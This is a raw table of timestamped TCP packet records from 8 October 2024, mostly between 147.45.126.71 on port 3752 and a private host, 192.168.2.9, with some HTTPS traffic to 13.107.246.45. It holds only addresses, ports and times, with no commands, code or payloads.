Oct 8, 2024 20:52:28.370343924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370357037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370485067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370497942 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370644093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370656013 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370666981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370678902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370691061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370703936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370718002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370731115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370784044 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370799065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370810032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370824099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370836020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370948076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370959997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370971918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370985985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370997906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371010065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371089935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371104002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371117115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371721983 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371735096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371747971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371759892 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371870041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371881962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371892929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.371905088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372057915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372078896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372092009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372106075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372119904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372134924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372163057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372174978 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372193098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372200966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372212887 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372225046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372237921 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372250080 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372263908 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372277975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372328043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372348070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372359991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372370958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372390985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372402906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372437954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372451067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372462034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372474909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372488022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372499943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372512102 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372536898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372549057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372562885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372576952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372591019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372601986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372610092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372617960 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372632027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372646093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372658968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372675896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372687101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.372699022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.373543978 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.373776913 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374047995 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374197006 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374597073 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374640942 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374993086 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.374993086 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.375231981 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.379472017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379631042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379643917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379656076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379673004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379687071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379712105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379725933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379739046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379753113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379765987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379780054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379793882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379796982 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.379796982 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.379797935 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.379807949 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.379823923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.380089998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.380089998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.396024942 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.396119118 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.397459030 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.398104906 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.398127079 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.398138046 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.398144960 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.401727915 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.401763916 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.401869059 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.402034044 CEST	49874	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.402044058 CEST	443	49874	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.406347036 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.407716990 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.407773018 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.407816887 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.407834053 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.407845020 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.407850981 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.410511017 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.410540104 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.411770105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411784887 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411798954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411811113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411828041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411842108 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411854029 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411866903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411880970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411891937 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411916971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411927938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411941051 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411953926 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411964893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411979914 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.411992073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412007093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412023067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412199020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412378073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412389994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412400961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412424088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412441015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412555933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412569046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412580967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412595987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.412715912 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.412789106 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.412867069 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.413016081 CEST	49875	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.413024902 CEST	443	49875	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.413409948 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.413409948 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.432517052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432533979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432547092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432559967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432574034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432651043 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.432701111 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432704926 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.432715893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432730913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432744980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432822943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432835102 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432846069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.432893991 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.432893991 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.432894945 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433006048 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433088064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433100939 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433111906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433123112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433135033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433149099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433163881 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433243036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433253050 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433257103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433270931 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433284998 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433295965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433317900 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433330059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433341980 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433353901 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433365107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433372021 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433377028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433402061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433414936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433415890 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433415890 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433594942 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433609009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433619976 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433631897 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433633089 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433646917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433660984 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433672905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433681011 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433686018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433698893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433713913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433725119 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433727980 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.433738947 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.433851004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434042931 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434055090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434067011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434082031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434092045 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.434092045 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.434097052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434112072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434143066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434155941 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434160948 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.434195042 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.434221029 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.434334993 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.434534073 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.434551001 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.434699059 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.434715986 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.435045004 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.435269117 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.435269117 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.435285091 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.435303926 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.437758923 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.437798023 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.438055038 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.438179970 CEST	49876	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.438194036 CEST	443	49876	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.440331936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440349102 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440362930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440380096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440442085 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.440463066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440476894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440484047 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440489054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440495968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440502882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440561056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440573931 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440586090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440599918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.440681934 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.440819025 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.488008976 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488101006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488114119 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488120079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488130093 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488142014 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488234043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488249063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488260031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488264084 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.488271952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488286972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488426924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488440037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488451958 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.488454103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.488801003 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.498935938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499077082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499088049 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499100924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499113083 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499125004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499221087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499233007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499244928 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499258041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499377966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499397039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499409914 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499420881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499433994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499444962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499521971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499533892 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499545097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499680996 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499701977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499942064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499953985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499964952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499978065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.499991894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.500005960 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.503829956 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.505721092 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.505990028 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.519938946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.519951105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.519963026 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.519973993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.519989967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520004988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520018101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520020008 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.520096064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520286083 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520298004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520466089 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520478964 CEST	3752	49855	147.45.126.71	192.168.2.9
